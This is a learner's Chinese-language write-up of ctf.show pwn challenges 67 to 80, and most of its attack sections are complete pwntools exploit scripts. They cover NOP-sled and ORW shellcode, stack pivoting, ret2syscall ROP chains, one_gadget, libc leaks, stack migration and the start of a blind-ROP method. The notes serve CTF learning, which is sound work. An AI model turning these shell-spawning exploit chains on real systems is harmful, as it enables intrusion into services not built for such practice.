栈首先是将调用main函数的函数的ebp压到栈顶,然后push了一个ebx和一个ecx,接着由将esp减少了0x1010,此时栈顶为ebp-0x4-0x4-0x1010,32位一个存储单元4字节。然后呢,又有了esp减去了8,push了一个eax和0,这时栈顶位ebp-0x4-0x4-0x1010-0x8-0x4-0x4。之后呢运行过setbuf函数,esp又增加了0x10,此时esp为ebp-0x4-0x4-0x1010-0x8-0x4-0x4+0x10=ebp-0x4-0x4-0x1010。再然后esp又减去了0xc,并且又push了一个eax,那么此时栈顶为ebp-0x4-0x4-0x1010-0xc-0x4。执行完srand函数之后esp又增加了0x10,那么此时的栈顶为ebp-0x4-0x4-0x1010-0xc-0x4+0x10=ebp-0x4-0x4-0x1010。之后调用完Louding函数和acquire_satellites函数就是query_position函数了。从IDA反编译结果在query_position函数中就可以看到局部变量相对query_position函数ebp的位置了。

v1距离seed的位置是0x15+0x4+0x4+0x10=0x2d
根据刚刚的结论position=&v1+v2=&v1+random-668(random∈(0,1336))
所以&v1=position+668-random,&seed=&v1+0x2d=position+0x2d+668-random
这里我们的payload存储在seed里,我们使用v5定位到nop区域,这样就能在不惊动金丝雀的情况下运行shellcode

【说实话,要是理清了看这图感觉更迷糊了】
我这边再唠叨些,我们的shellcode存储在seed内,这里能定位到nop是应为fgets给我们的写入权限相当的大,4096字节。这里668*2是我们的滑雪区[v5跳转过来的缓冲量],或者我们能写的更大一点。我们在知道泄露的函数的地址,经过计算反推出v1 的地址。接着我们计算了从主函数到泄露函数位置的栈的变化,从而推断出了seed到v1的地址,这样,假如我们把seed填满,就能直接指向seed,然后滑到shellcode。但是我们知道了v2的具体范围,就不用多费力气了
from pwn import *
context(arch="i386",log_level="debug")
io=remote("pwn.challenge.ctf.show",28208)
io.recvuntil("location: ")
addr = eval(io.recvuntil("\n",drop=True))
shellcode=asm(shellcraft.sh())
payload1=b"\x90"*1336+shellcode
io.recvuntil("?\n> ")
io.sendline(payload1)
shell=addr+0x2D+668
payload2=hex(shell)
io.sendline(payload2)
io.interactive()

pwn68
又是滑雪橇

打开题目,发现和先前没什么区别,只是用64位重写了一遍

这里只要把架构指定换成64就行了

pwn69

似乎是裸奔环境,题目提示可以尝试用ORW读flag flag文件位置为/ctfshow_flag

有点过于干净了
开辟新的空间后调用了几个函数,但是看不太懂
这里看最后一个调用的函数

20h的buf,我们的可写入量是38h,这里存在溢出。似乎能使用shellcode写到bss段
![]()
az,不能执行啊,算了
回到题目,什么是orw
这里查了下ai,似乎是要将flag从目录读取后,再写入我们能控制的区域并输出出来
main函数中的mmap为我们从0x123000开辟了一块4096字节的空间,可写可执行,但是不可读
没思路,看下wp
这里顺带解释了为什么不用system,这里禁用了系统函数,把程序运行在沙箱中,从而我们无法通过system等函数获取flag,只能读取然后day
搬运下大佬原文
在ctf的pwn题中一般有两种函数调用方式实现沙盒机制,第一种是采用prctl函数调用,第二种是使用seccomp库函数
主要是两种函数,即prtcl()函数和seccomp()函数的调用


大概就是讲了下这些类似过滤函数的玩意
可以看到prctl()函数主要就看第一个参数options
然后seccomp()函数初始化,第二个参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式
第一个参数是初始化返回值,第三个参数是对应的系统调用号,0–>read/1–>write/2–>open/60–>exit
第四个参数是限制的个数,0就不限制
大概就是这样子,然后靠这俩函数最后搞出个ORW

这里需要用到一个新工具叫做seccomp

这玩意kali不自带,使用命令gem install seccomp-tools下载
这个工具实际上是将函数生产的白名单读取下来,这里看到,read,open,write和exit是可以正常使用的
接下来看大佬的分析
首先是说这边检测到了这个系统的arch是X86_64架构的,也就是 64位 x86 架构 ,没问题
由于这边架构正确,所以开始往下走
A = sys_number把A的内容寄存为系统调用号
接着if (A < 0x40000000) goto 0005检查是不是属于某个范围的规则。具体来说,0x40000000 表示系统调用号的上限,如果小于这个值,程序将跳转到第 0005 行。
注意这边第四行是: 如果系统调用号不是 0xffffffff,则跳到第 0010 行(返回 KILL)
所以我们第0003步就应该小于这个值,然后飞过危险的0004行
而后边几行全部都是看系统调用号是不是rwo,如果是就跳到第0009行
0009行是好的,会return allow
剩下的都是被过滤的
回到函数分析

第一个函数是沙箱的构建,进行函数的白名单过滤

第二个函数清理缓冲区,标准,错误,输出的缓冲全部关掉

最后就是我们的溢出位置了,但是空间有点小,不好施展,我们的目标肯定是指向mmap规划的新区域
这里读写的构建依旧使用shellcode
shellcode=asm(shellcraft.open("./ctfshow_flag"))
shellcode+=asm(shellcraft.read(3,mmap_ar,0x100))
shellcode+=asm(shellcraft.write(1,mmap_ar,0x100))
打开,读取,再答应到屏幕上

这里read使用了读取文件的参数,也就是3,第一个参数,第二个参数是存放内容到指定位置,第三个就是读取长度。而下方的write,1是指标准输出【0为标准输入,来源于键盘,2是标准错误,将错误内容输出到屏幕】,会输出到屏幕上,后续为内存位置,接着是读取长度
接着我们的问题就是如何调用这些内容,并且将他们连起来
mmap给出的空间是可执行的,我们或许能把这玩意塞过去
但是我们要如何将栈上的内容传输到这个位置
这里涉及到一个新的玩意叫栈枢轴

也就是把sp强行换位,然后把接下来的位置当作栈使用
这里的思路是这样的。我们先写入shelcode,将其当作缓冲内容,在写完后填满溢出区。接着到返回地址的时候,我们写入jmp_rsp,将rsp跳转为栈最开始的位置,指向我们的shellcode【注意返rbp,回溯量要加8】
【这里我以为大佬要将sp直接改到mmap,然后在那里写shellcode,但这样的话,buf只有32字节,真的够用吗】
buf32字节,加上8的rbp,回溯40
这里我们先看看jmp的位置在哪里

0x0000000000400a01 : jmp rsp
大佬这里的思路很精彩,最开始的shell使用了read0来读取键盘输入,输入位置在mmap,接着修改sp的位置。常规溢出到返回地址,使用jmp跳转,jmp后跟的sub刚好作为jmp的指定位置
这是大佬的exp
from pwn import *
context(arch="amd64",log_level="debug")
io=remote("pwn.challenge.ctf.show",28283)
mmap=0x123000
jmp_rsp=0x400a01
shellcode1=asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000; jmp rax")
payload=shellcode1.ljust(0x28,b'a')+p64(jmp_rsp)+asm('sub rsp,0x30; jmp rsp')
io.recvuntil("to do\n")
io.sendline(payload)
shellcode2=asm(shellcraft.open("./ctfshow_flag"))
shellcode2+=asm(shellcraft.read(3,mmap,0x100))
shellcode2+=asm(shellcraft.write(1,mmap,0x100))
io.sendline(shellcode2)
io.interactive()
这里用到的.ljust是python的左对齐,最后的结果是将不足40字节的部分全部用a补齐,保证溢出完整
todo则是来自read前的提示语
这里shell2中的内容能连续执行的原因,是我们使用+=将其链接为一整个长字符串。

眼神不好一时半会还看不到【】
pwn70

除了金丝雀剩下的都没开

不允许编译c
这里发现一个read,但是它的写入控制在了64,不存在栈溢出
这里还使用secommp进行了过滤,似乎只是过滤系统函数
跟进下is_printable函数

输出过滤函数
只允许通过可打印字符,但是这玩意和while一样,能在最开始用\x00直接创飞
另外回到汇编,我们发现最后存在lea rax,[rbp+s],这直接调用了我们的输入内容,我们直接输入shell就行
from pwn import *
context(arch="amd64",log_level="debug")
io=remote("pwn.challenge.ctf.show",28226)
shellcode=asm(shellcraft.cat("/flag"))
payload=b"\x00B\x00"+shellcode
io.recvuntil(" name:\n")
io.sendline(payload)
io.interactive()
这里大佬还有一个小细节,\x00B\x00这里这样用的原因可能是栈对齐
这里是ai的解释:

而且似乎32位也应该这样用
pwn71

只开启了nx,这里题目提示用ret2syscall,
什么是ret2syscall,
我们回到先前的ret2系列,text直接跳转sh,shellcode构建sh,libc从库中找sh,而syscall是从程序中拼接指令碎片来得到sh
当然,这里的前提是没开pie,不然动态的环境可不好搞
ret2syscall属于程序中不存在system(“/bin/sh/“)的代码段,不存在合适的可执行段进行恶意代码的执行,但是程序是静态链接,且程序中中存在代码片段,拼接可组成系统调用的情况
接着还是照搬下大佬的介绍

再深入些是这样的:

死去的汇编四的回忆开始攻击我【】
这里调系统函数的时候,函数那么多,确定目标函数的方法就是调用编号,相当于传参。
此事在flag寄存器中亦有记载【】
这里也说明了,0x0b的调用号就是execve
那么我们需要的就是将这四个寄存器塞入我们想要的值了
这里我们先看看函数

主函数没有多余的调度,这里gets需要溢出1c+4字节的内容,返回位置我们使用pop 寄存器和ret
ROP传统艺能
这里我们需要a,b,c,d四个寄存器
rop的结果太长,这里就不截图了
0x080bb196 : pop eax ; ret
0x080481c9 : pop ebx ; ret
0x0806eb91 : pop ecx ; pop ebx ; ret
这里没有找到单独的cx,那我们就cx,bx一块传了
0x0806eb6a : pop edx ; ret
但是又发现一个bcd一块传的
ebx_ecx_edx=0x806eb90
这还说啥了,接着找sh

0x080be408 : /bin/sh
接着我们需要调用int80,我们找下

0x08049421 : int 0x80
本来该开开心心敲代码,但是突然发现这里溢出量找错了【】
对sp的处理不可取,我们还是动态调试下找找偏移

依旧是三板斧
cyclic 270
r < <(echo 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacra')
cyclic -l 0x62616164
其他师傅都是200,但是这里以防万一用了270,毕竟前面吃过这个亏
from pwn import *
context(arch="i386",log_level="debug")
io=remote("pwn.challenge.ctf.show", 28200)
eax=0x80bb196
ebx_ecx_edx=0x806eb90
bin_sh=0x080be408
int_0x80=0x08049421
padding=112
payload=b"a"*padding+p32(eax)+p32(0xb)+p32(ebx_ecx_edx)+p32(0)+p32(0)+p32(bin_sh)+p32(int_0x80)
io.sendline(payload)
io.interactive()

pwn72

还是和先前一样的配置
主函数基本一模一样,这里直接开始rop

0x08049421 : int 0x80

sh无了
eax=0x080bb2c6
edx_ecx_ebx=0x0806ecb0
这里查了wp发现,int80不能这么搞,得从ida中找

具体查找路径是ida->search->sequence of bytes查找80CD
在勾选后,我们能得到这样的结果:

这里筛选的方式,首先要看Instruction栏,看看是不是真正的int 0x80,而非拿来比较的80CD
然后是看Function,确定用途
这边可以看到有个直接就是sysinfo的,直接启用系统调用了 ,所以我们选用的是这一个
int_0x80=0x0806f350
这里gets依旧调动sp,我们还是动态调试

偏移44
现在我们就差一个字符串了,看看有没有合适的段表

我们要的是可读可写,看看bss
![]()
bss_addr=0x080EAF80
我们能通过两次调用,第一次首先调用read,写入binsh,第二次再正确调用到system
read(0,bss_addr,0x10)
execve(bss_addr,0,0)
这里我们还是使用payload+=进行链接,实现两次运行效果
from pwn import *
context(arch="i386",log_level="debug")
io=remote("pwn.challenge.ctf.show", 28262)
eax=0x080bb2c6
edx_ecx_ebx=0x0806ecb0
int_0x80=0x0806f350
bss_addr=0x080EAF80
payload=b"a"*44+p32(eax)+p32(0x3)+p32(edx_ecx_ebx)+p32(0x10)+p32(bss_addr)+p32(0)+p32(int_0x80)
payload+=p32(eax)+p32(0xb)+p32(edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_0x80)
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()

pwn73

依旧是只开了nx

调用了show,我们先看看show

存在溢出,32位溢出量为0x18+4,久违的看到ebp
回到主函数,我们发现最后有 lea esp,[ecx-4]
向上看,发现ecx存储的是ebp-4,这么来看,执行的就是ebp-8位置指向地址的内容。
我们先看看bss段是不是有执行权限

那很难办了,这题是静态环境,直接看字符串很难看,这里我们使用rop

要是我们找int80呢?
![]()
那么这就是我们要的地址了,当然,也是过滤后的sysinfo
这样的话,还需要传参数,回到上一题,再温习下调用system的寄存器内容
ax=0x0b,b为地址,剩下占位
找找ret和pop
0x080b81c6 : pop eax ; ret
0x0806f050 : pop edx ; pop ecx ; pop ebx ; ret
接着还剩下sh,我们尝试vmmap,找一段能用的出来

az,没招了,看看大佬wp
这里大佬给出的答案是用ROP一把梭
ROPgadget –binary pwn73 –ropchain

吓哭,下面是比较适合用自动链子的场景

这里溢出需要我们自己写,以防万一我们把pack换成p32
from struct import pack
from pwn import *
context(arch="i386",log_level="debug")
io=remote("pwn.challenge.ctf.show",28231)
padding=0x18+4
# Padding goes here
p = b'a'*padding
p += p32(0x0806f02a) # pop edx ; ret
p += p32(0x080ea060) # @ .data
p += p32(0x080b81c6) # pop eax ; ret
p += b'/bin'
p += p32(0x080549db) # mov dword ptr [edx], eax ; ret
p += p32(0x0806f02a) # pop edx ; ret
p += p32(0x080ea064) # @ .data + 4
p += p32(0x080b81c6) # pop eax ; ret
p += b'//sh'
p += p32(0x080549db) # mov dword ptr [edx], eax ; ret
p += p32(0x0806f02a) # pop edx ; ret
p += p32(0x080ea068) # @ .data + 8
p += p32(0x08049303) # xor eax, eax ; ret
p += p32(0x080549db) # mov dword ptr [edx], eax ; ret
p += p32(0x080481c9) # pop ebx ; ret
p += p32(0x080ea060) # @ .data
p += p32(0x080de955) # pop ecx ; ret
p += p32(0x080ea068) # @ .data + 8
p += p32(0x0806f02a) # pop edx ; ret
p += p32(0x080ea068) # @ .data + 8
p += p32(0x08049303) # xor eax, eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0807a86f) # inc eax ; ret
p += p32(0x0806cc25) # int 0x80
payload=p
io.sendline(payload)
io.interactive()

仔细看看的话,机器的思路似乎和咱们差不多
pwn74

吓哭了
题目提示用one_gadget


换句话说,就是一把嗦的麻烦版本
既然这样了,为什么我不上agent【】
当存在libc泄露,知道libc版本的时候,我们就可以利用one_gadget来快速控制指令寄存器开启shell。这种不用像ret2libc那样去逐个构造寄存器的值来实现系统调用,而是拿libc中现成的函数,直接用。
那么我们的首要任务就是确定当前的libc版本
我们使用工具ldd

所以这边我们利用one_gadget看看需要满足的条件
one_gadget /lib/x86_64-linux-gnu/libc.so.6
从这一步开始,kali没有工具,转战乌班图

这里constraints里面就是我们要使用这个gadget需要满足的条件
![]()
符合条件三
one_gadget=0x10a2fc
我们先看看反编译出来是什么,

这里打印了printf的地址
我们能利用它来获得真实的地址
所以先截取print_addr=int(io.recvuntil(“ “),16)
如此一来
libc=ELF(“/lib/x86_64-linux-gnu/libc.so.6”)
libc_base=print_addr-libc.symbols[‘printf’]
我们也就得到了基地址
所以我们可以在这边编写代码
注意前边截取完调成int,然后后边send前再调成str
否则前边加减不了,后边传输不了
【这里似乎能用libcsearcher,但既然都确定了库,就不多搞了】
from pwn import *
context(arch="amd64",log_level="debug")
io=remote("pwn.challenge.ctf.show",28126)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
io.recvuntil("this:")
print_addr=int(io.recv(14),16)
libc_base=print_addr-libc.symbols['printf']
one_gadget=0x10a2fc
one_gadget_final=libc_base+one_gadget
io.recvuntil("?\n")
io.sendline(str(one_gadget_final))
io.interactive()

说实话我还有个更权威的小玩意【】

希望保护全开的时候不只有这一种解法
查了下,这里另外的限制是,环境变量要能读取,标准输入输出启用,libc绝对正确【某些补丁或者个人升级会导致无法使用】
pwn75

单纯启用nx,ida分析下

调用ctfshow,跟进

发现存在两轮read,而且都是在缓冲区s写入的,read可写入30,而缓冲区只有28,我们起码要溢出0x28+4才行,这里到返回地址后,再占用四字节,于是乎,我们只剩下四字节能动了
不知道该怎么解决了
这里看大佬wp,说是需要用到栈迁移
之前似乎有类似的操作,盲猜是将sp换到可写入空间,返回地址填写jmp sp,后续四个字节是参数



so,这里的选择是去修改ebp?
搬运下大佬的流程
然后foo结束之后,会调用leave和ret两条指令
这两条指令干的活就像之前的逆过程一样
1,清空栈,还原栈空间
2,还原栈底
3,还原执行流
而在这个过程中,栈顶指针的内容由ebp寄存器控制
但ebp是可以被篡改的
篡改的话,mov esp,ebp之后,esp也**有可能**会被篡改
从而之后pop eip的eip与执行流也被篡改
这就是攻击的漏洞

为什么说有可能,是因为这边有顺序啊,一般肯定难改啊
但是扭曲顺序不就是了
我们把栈上的返回地址换为leave ret的地址
直接返回到leave函数地址,从而我们可以执行两次leave,一次ret
所以这边pop ebp之后,eip会再干一次mov操作
所以我们就可以先改再mov,这样子连过去改esp,把他骗到别的地方去了
这也就是栈迁移的内容了

先前只想过覆盖bp,没想过这么利用,这里把所有的可写可执行区留作缓冲区

首先我们需要确定缓冲区变量溢出的时候至少能覆盖俩位置,就是意思是不能太小,小到完全没有那根本就搞不了,这边有4个位置,算是正好
接着我们找leave ret
ROPgadget --binary ./pwn75 --only "leave|ret"

我们取第一个,实际上是两个程序一块执行的地址
lea_ret=0x080484d5
接着就是覆盖缓冲区,修改ebp和返回地址了
我们来到ida,看看是否存在别的能用的

这里有一只野生的system,交叉引用下、
![]()
system=0x8048400
接着我们考虑下,把栈搬去哪里。
先看看有没有能写能执行的段

太棒了,一个都没有
这里大佬给出的思路是,将栈迁移到s段,也就是缓冲区
【这里没搞明白一点,既然开了栈不可执行,为什么会再次选择栈作为shell的写入位置,按理说cpu会禁止运行这里的内容,但想了想,这玩意给的是地址,不是机器码,还是能执行的 】
接着我们动态调试,需要把断点打在第二个read之后
先看第二个read

我们选择之后的位置,最好不要影响函数执行
b *0x08048763
r到指定位置

输入定位字符串,第一次正常输入,第二次输入醒目的字符串,毕竟第二次会覆盖第一次
stack 30查看栈状态

现在我们能比较直观的看到esp和ebp的状态,现在ebp在0xffffcf38位置,内部值为0xffffcf48
2d8-2b0=38h
说明ebp到s的其实位置有0x38字节
这说明只要使用 printf 泄露出攻击时栈上ebp所存地址,将该地址减去0x38即为 s 的准确地址,即栈迁移最终要劫持到的地方
接着截取做减法就行了
from pwn import *
context(arch='i386',log_level='debug')
io = remote("pwn.challenge.ctf.show",28297)
elf = ELF('./pwn75')
system = elf.plt['system']
#system=0x8048400(都一样)
LeaveRetAddr=0x080484d5
io.recvuntil('codename:')
payload1=b'a'*0x1D+b'zhaodaonile'
#是一样的,加起来28个字符就行,用ljust也一样,为了做个坐标,好发完之后截取
io.send(payload1)
io.recvuntil('zhaodaonile')
old_ebp=u32(io.recv(4).ljust(4,b'\x00'))
HiJackAddr=old_ebp-0x38
#算出HiJackAddr了
payload2=(p32(system)+b'aaaa'+p32(HiJackAddr+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(HiJackAddr-4)+p32(LeaveRetAddr)
io.recvuntil('do?')
io.send(payload2)
io.interactive()
p32(HiJackAddr+12): 这是system函数的参数。它指向字符串/bin/sh的地址。HiJackAddr+12的计算逻辑是:HiJackAddr是迁移后的新栈顶,从新栈顶开始跳过p32(system)(4字节)和b'aaaa'(4字节)以及p32(HiJackAddr+12)本身这4个字节的地址,总共12字节,正好指向后面的/bin/sh字符串。
这里不能使用sendline,要用send
28字节填满后泄露地址依旧是老法子,避免\x00截断输出

截取效果是这样的![]()
我加了定位字符
探究pwntools中sendline的回车所造成的影响(什么时候用sendline,什么时候用send) - ZikH26 - 博客园
pwn76

金丝雀加上nx

跟进correct,发现存在能直接调用的目标

要求是传入值为-559038737
清理下程序在干什么
首先读取0x30以内的输入,存到s中,接着进入base64加密函数
函数执行后,解码出的原始数据长度保存在返回值 v7中,而解码后的数据本身则存放在由指针 v5所指向的内存位置里。Base64编码常用于将二进制数据转换为可打印的ASCII字符,以便于传输。这里进行解码是为了还原用户输入的原始数据。

然后再函数中搞了这一大堆东西,没太看懂,就先这样吧。
又是搬运的一天。。。
最后值返回函数,存入v7=v10
接着去进行长度校验与数据复制:程序检查解码后的数据长度是否大于0xC(即十进制的12)。如果超过12字节,就会输出 “Input Error!”

小于就将解码内容传入变量input中
程序调用auth函数对复制到input中的数据进行验证。如果 auth函数返回1,则调用我们的后门函数
也就是让strcmp(“f87cd601aa7fedca99018a8be88eda34”, s2)
等于0,即使得s2和f87cd601aa7fedca99018a8be88eda34完全相同

但是,s2是v2的md5值,前功尽弃,不能这么干

这个函数中,copy函数将我们的输入复制到v4,这里没有写入限制
这里似乎写入八个字节就会栈溢出
但是看了看师傅们的wp,他们的函数似乎和我的不太一样,这里可能是ida的问题



先按着师傅的思路做吧
system=0x08049284
将这个函数的位置构造到input里
input=0x0811EB40
from pwn import *
import base64
context(arch="i386",log_level="debug")
io=remote("pwn.challenge.ctf.show",28302)
io.recvuntil(b"CTFshow login:")
system=0x08049284
inp=0x0811EB40
payload=b'aaaa' + p32(system) + p32(inp)
payload=base64.b64encode(payload)
io.sendline(payload)
io.interactive()
这里为什么要先sysetm在input,依旧是栈迁移,栈容量为八字节我们最多能覆盖到ebp
auth后返回main的ret流程会将input作为ebp,而我们在输入的时候,从低到高,从顺序上来讲,sys是要比ebp高的。所以在ret的时候,ip锁定到的是sys的地址,会执行bin/sh
我们能这么利用的原因是,input段中预先存放了我们的payload。
现在字数多起来,打字会变的非常卡。,希望它能撑到栈溢出结束。
pwn77

开了nx


限制运行时间为48秒,调用了ctfshow,跟进

这里有一个检测换行符的while循环,当检测到10,也就是换行符号,就退出循环
输入的值存储在v2,v4运行完后指向末尾,并存入空字符
v2给的空间很大,267字节。但是这里似乎没有写入限制
覆盖量为110h+8
接着找返回地址
emmmmmr
似乎找不到

但是返回栈看看,发现这里向上覆盖的话,会覆盖到v3,再向上会覆盖到存储末尾标记的v4
这里有用的是v4,这里我们要单独处理下
于是乎,我们的溢出量就变成
b’A’*0x10c+b’\x18’
首先覆盖268字节的内容,覆盖到v5。接着,我们将v4内容设定为\x18
这里是因为,我们已经写了10ch的内容,那么这里开始的高字节会保存为0x10。我们将这个数字修改为118h就能实现v4指向返回地址
假如我们提前设定v4的值,那么在
v0 = v4++;
v2[v0] = v3;
的作用下,我们的写入就会变成直接从返回地址开始。
回到返回地址的问题,我们没有找到明显的地址,那么我们就需要用libc的内容了。在先前,题目使用了puts作为输出函数,我们能通过它来锁定libc的大概版本
先前了解过,一般在libc中会存在sh
我们先看看存不存在

got表查不出来
还是得手动泄露
elf = ELF("./pwn77")
puts_plt = elf.plt['puts']
fgetc_got = elf.got['fgetc']
main=elf.sym['main']
那先找下64位传参需要的寄存器吧

0x00000000004008e3 : pop rdi ; ret
from pwn import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
ELF = ELF("D:\网安\题目附件\ctfshow pwn\pwn77")
io = remote("pwn.challenge.ctf.show", 28160)
puts_plt = ELF.plt['puts']
puts_got = ELF.got['puts']
fgetc_got = ELF.got['fgetc']
main = ELF.symbols['main']
pop_rdi = 0x4008e3
ret = 0x400576
prefix = b'A' * 0x10c + b'\x18'
def leak(addr):
payload = prefix
payload += p64(pop_rdi)
payload += p64(addr)
payload += p64(ret)
payload += p64(puts_plt)
payload += p64(main)
io.sendline(payload)
data = io.recvuntil(b"T^T\n", drop=False)
leak_line = data.split(b'\n')[0]
return u64(leak_line.ljust(8, b'\x00'))
io.recvuntil(b"T^T\n")
fgetc_addr = leak(fgetc_got)
log.success("fgetc_addr = " + hex(fgetc_addr))
puts_addr = leak(puts_got)
log.success("puts_addr = " + hex(puts_addr))
libc = LibcSearcher("fgetc", fgetc_addr)
libc.add_condition("puts", puts_addr)
libc_base = fgetc_addr - libc.dump("fgetc")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
log.success("libc_base = " + hex(libc_base))
log.success("system = " + hex(system_addr))
log.success("binsh = " + hex(binsh_addr))
payload = prefix
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)
io.sendline(payload)
io.interactive()
这里先定义了一个泄露函数,也就是用puts把我们想要泄露的东西通过参数传递出来。这就是got表的地址
后续就是一些关于定位的字符串打印表述
接着就是使用libcsearcher的工具确定libc版本,以及base基址
然后通过与dump偏移地址相加,实现确定函数的位置。、接着就是pop链

pwn78
这里题目提示是补发64位的syscall
先分析防护

只是nx,同时是静态环境
32位的ret2syscall通常会跳到int 0x80启动,而64位的一般是要调到syscall,这是x86_64 Linux标准系统调用入口
还有就是系统调用号不一样,32位系统调用号在eax,然后execve的syscall number一般是11
而64位的系统调用号在rax,execve的syscall number一般是59
32位的寄存器对应如下:
ebx = arg1
ecx = arg2
edx = arg3
esi = arg4
edi = arg5
ebp = arg6
eax = 11
ebx = binsh_addr
ecx = 0
edx = 0
int 0x80
【这个是调用sh需要的参数,下面是示例rop】
payload += p32(pop_eax)
payload += p32(11)
payload += p32(pop_ebx)
payload += p32(binsh)
payload += p32(pop_ecx)
payload += p32(0)
payload += p32(pop_edx)
payload += p32(0)
payload += p32(int_0x80)
64位:
rdi = arg1
rsi = arg2
rdx = arg3
r10 = arg4
r8 = arg5
r9 = arg6
启用execve("/bin/sh", 0, 0)
rax = 59
rdi = binsh_addr
rsi = 0
rdx = 0
syscall
示例链子
payload += p64(pop_rax)
payload += p64(59)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)
通过rop获取地址就不再赘述了
rax = 0x46b9f8
rdi = 0x4016c3
rsi = 0x4017d7
rdx = 0x4377d5
从ida发现,这里相当人性的给了通过rbp调用的基址

溢出量50h+8
原先想rop找sh的,发现找不到【】
而我们现在找syscall,直接查是查不到的。

而且我们需要的是结尾带ret的syscall
这样的sys,翻阅了师傅们的wp后发现,机器码是0F 05 C3
0F 05是sys
C3是ret
非常的简单粗暴
我们切换参数位opcode

syscall = 0x45bac5
这三个都是能用的,我们随便选一个
接着就是sh了,坏消息是没找到,那我们就还得上传统艺能,找个合适的段写了

我们选择bss段
0x6c1c40 ~ 0x6c4158
取个整,选在0x6c2000
bss = 0x6c2000
接着我们来找能写入的函数

gets = 0x4086a0
编写exp
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("pwn.challenge.ctf.show", 28263)
offset = 0x58
rax = 0x46b9f8
rdi = 0x4016c3
rsi = 0x4017d7
rdx = 0x4377d5
gets_addr = 0x4086a0
bss = 0x6c2000
syscall = 0x45f135
payload = b"A" * offset
payload += p64(rdi)
payload += p64(bss)
payload += p64(gets_addr)
payload += p64(rax)
payload += p64(59)
payload += p64(rdi)
payload += p64(bss)
payload += p64(rsi)
payload += p64(0)
payload += p64(rdx)
payload += p64(0)
payload += p64(syscall)
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()
这里我们首先写sh,接着构造syscall
get发送会自动补\x00,直接发就行
这里别的师傅的另一种解法是通过调用read,在64位中是让rax传0,实现read的调用,好处是省的翻gets了,能有效避免没有的情况
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("pwn.challenge.ctf.show", 28242)
offsets = 0x58
rax = 0x46b9f8
rdi = 0x4016c3
rsi = 0x4017d7
rdx = 0x4377d5
bss = 0x6c2000
syscall = 0x45F135
payload = b'a' * offsets + p64(rax) + p64(0)
payload += p64(rdi) + p64(0)
payload += p64(rsi) + p64(bss)
payload += p64(rdx) + p64(0x10)
payload += p64(syscall)
payload += p64(rax) + p64(59)
payload += p64(rdi) + p64(bss)
payload += p64(rsi) + p64(0)
payload += p64(rdx) + p64(0)
payload += p64(syscall)
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

pwn79

?!裸裸!?
题目提示要注意某些函数,估计没那么简单

主函数这里掉用了一个及其变态的fgets,允许写入量为800h,而分配给它的栈空间有808h,这里做不了溢出
接着调了ctfshow,跟进

0x208+4,复制操作导致溢出
那么我们就可以这样构造,方便后面跳转
payload += shellcode
payload += 'a'*(0x20c-len(shellcode))
复制之后,就刚好是正常的栈顺序
接着我们需要解决返回地址的问题
我们跟进strcpy

这里是标准函数的调用模板,我们发现这里返回的地址其实是dest,也就是复制目的地,这样的话,我们之前构造到buf的内容开始就是shellcode
这里跳转的方式是通过call eax,这里在复制函数调用完之后,rax依旧指向缓冲区

没有对ax有进行变动
ROPgadget --binary ./pwn79 --only "call|eax"

eax= 0x080484a0
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote("pwn.challenge.ctf.show", 28300)
calleax = 0x080484a0
shellcode = asm(shellcraft.sh())
payload = shellcode
payload += b'A'*(0x20C-len(shellcode))
payload += p32(calleax)
io.recvuntil("Enter your input:")
io.sendline(payload)
io.interactive()
出flag

pwn80
这玩意全网找不到合适的wp,这种题就不在家里浪费时间了。去学校找个时间好好研究研究
这里扔给ai,看看能不能解出来丰富下知识库
以下是ai梭出来的知识库内容:
一、题目信息(黑盒探测得到)
64 位 ELF,无 PIE(代码段固定 0x400000+)
Type: Stack_Overflow,Hint: "Blind rop !"
交互:banner → "Do you know who is daniu?" → gets 读入 → 密码错 "No passwd,See you!"
offset = 72(0x40 buf + 8 saved rbp)
崩溃特征:连接关闭,输出 "timeout: the monitored command dumped core"
二、BROP 五步流程(核心方法论)
Step 1: 找 offset(崩溃二分)
发 1,2,3... 字节,直到不再输出 "No passwd,See you!"(说明覆盖到返回地址)
本题:71 字节正常返回,72 字节崩溃 → offset=72
Step 2: 找 stop gadget(重打 banner 的地址)
stop gadget = ret 过去后程序重打完整 banner("Welcome to CTFshow-PWN...")
作用:作为 ROP 链尾部,让程序回到 main 循环,保持连接
payload = b'a'*72 + p64(候选地址)
若输出以 "Welcome to CTFshow" 开头 → 是 stop gadget
本题:stop = 0x400728
Step 3: 找 csu gadget(利用 6 连 pop)
__libc_csu_init 尾部有一段: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
识别方法: 探针地址 + p64(0)*6(trap) + p64(stop) + p64(0)
- 若探针是 csu: 会 pop 6 个 0, ret 到 stop → 打印 banner(第一次通过)
